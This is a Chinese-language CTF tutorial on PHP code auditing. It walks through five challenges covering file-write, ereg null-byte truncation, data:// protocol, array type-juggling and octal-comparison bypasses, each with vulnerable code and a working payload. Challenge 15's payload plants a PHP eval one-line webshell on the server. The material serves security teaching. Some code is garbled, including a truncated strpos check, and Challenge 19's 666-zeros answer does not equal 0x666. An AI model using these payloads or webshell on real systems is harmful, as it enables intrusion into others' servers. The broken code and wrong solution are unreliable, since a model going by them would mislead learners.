PHP代码审计之CTF系列(3)
字数 1369 2025-08-15 21:30:31
PHP代码审计之CTF系列教学文档
Challenge 15: 文件写入漏洞
代码分析
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,1){
die('SYCwaf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed";
}else{
echo "Hello.Geeker";
}
漏洞点
- 通过
file_get_contents()和file_put_contents()组合实现文件写入 file参数必须以http://127.0.0.1/开头path参数不能包含回溯符(../)
利用方法
构造payload写入一句话木马:
http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php
关键函数
file_get_contents()参数:
- path: 必需,要读取的文件
- include_path: 可选,设为'1'可在include_path中搜索文件
- context: 可选,文件句柄环境
- start: 可选,开始读取位置(PHP 5.1+)
- max_length: 可选,读取字节数(PHP 5.1+)
绕过技巧
- 使用URL编码处理特殊字符
- 利用echo语句写入恶意代码
Challenge 16: 类型转换与截断漏洞
代码分析
if (isset($_POST["submit"])){
if (isset($_POST['hihi'])) {
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE) {
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999) {
if (strpos($_POST['hihi'], '#HONG#') !== FALSE) {
if (!is_array($_POST['hihi'])) {
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
}
}
}
}
漏洞点
ereg()函数可用%00截断- 需要同时满足:
- 仅含字母数字
- 长度<11
- 数值>999999999
- 包含
#HONG#
利用方法
使用科学计数法绕过:
submit=任意字符&hihi=9e9%00#HONG#
绕过技巧
ereg()的%00截断- PHP中
e在数字比较中的特殊用法 - 科学计数法表示大数
Challenge 17: 协议与特殊字符绕过
代码分析
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^'])) $smile = 0;
if (ereg ('https', $_GET['^_^'])) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "('◡◡')") die($flag);
}
漏洞点
- 参数名包含
^_^,但QUERY_STRING不能有_ - 内容限制:不能含
%、数字、http、https、ftp、telnet file_exists()需返回false,但file_get_contents()需返回('◡◡')
利用方法
使用data协议:
http://www.ctf.com/3.php?^.^=data://text/plain;charset=unicode,('◡◡')
绕过技巧
- PHP将参数名中的
.或[]等符号改写为_ - 使用RFC 2397的data协议绕过协议限制
file_exists()对data协议返回false
Challenge 18: 类型混淆与弱比较
代码分析
if(isset($_POST['login'])) {
if(isset($_POST['user'])) {
if(@strcmp($_POST['user'],$USER)) {
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password'])) {
if ($_POST['name'] == $_POST['password']) {
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password'])) {
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id'])) {
if($_POST['id']==72) die("flag{xxxxxxxxxxxxx}");
}
}
}
}
漏洞点
strcmp()传入数组返回NULLmd5()传入数组返回NULL- 弱类型比较
==与严格比较===的区别 - ID需为数字但不等于字符串'72',但弱比较等于72
利用方法
login=1&user[]=2&name[]=xiaohong&password[]=xiaoming&id=72.0
绕过技巧
- 向
strcmp()和md5()传递数组 - 使用小数绕过数字比较
- PHP弱类型比较特性
Challenge 19: 长度限制与进制转换
代码分析
$sss=$_GET['sss'];
if(strlen($sss)==666){
if(!preg_match("/[^0-6]/",$sss)){
eval('$sss='.$sss.';');
if($sss!=='0x666'){
if($sss=='0x666'){
echo $flag;
}
}
}
}
漏洞点
- 参数长度必须为666
- 只能包含0-6的数字
- 数值等于0x666(1638)但不等于字符串'0x666'
利用方法
使用八进制表示:
sss=000...000 (666个0)
绕过技巧
- PHP进制表示:
- 十六进制: 0x开头
- 八进制: 0开头
- 二进制: 0b开头
- PHP5与PHP7在十六进制字符串比较上的差异
总结
- 文件操作漏洞:注意
file_get_contents()和file_put_contents()的组合使用 - 类型转换漏洞:利用数组、科学计数法等绕过限制
- 协议绕过:熟悉PHP支持的各种协议(data://等)
- 弱类型比较:掌握
==与===的区别及利用方法 - 长度与编码限制:使用八进制、URL编码等方式绕过
这些挑战展示了PHP代码审计中常见的漏洞类型和绕过技巧,对于CTF比赛和实际安全审计都有重要参考价值。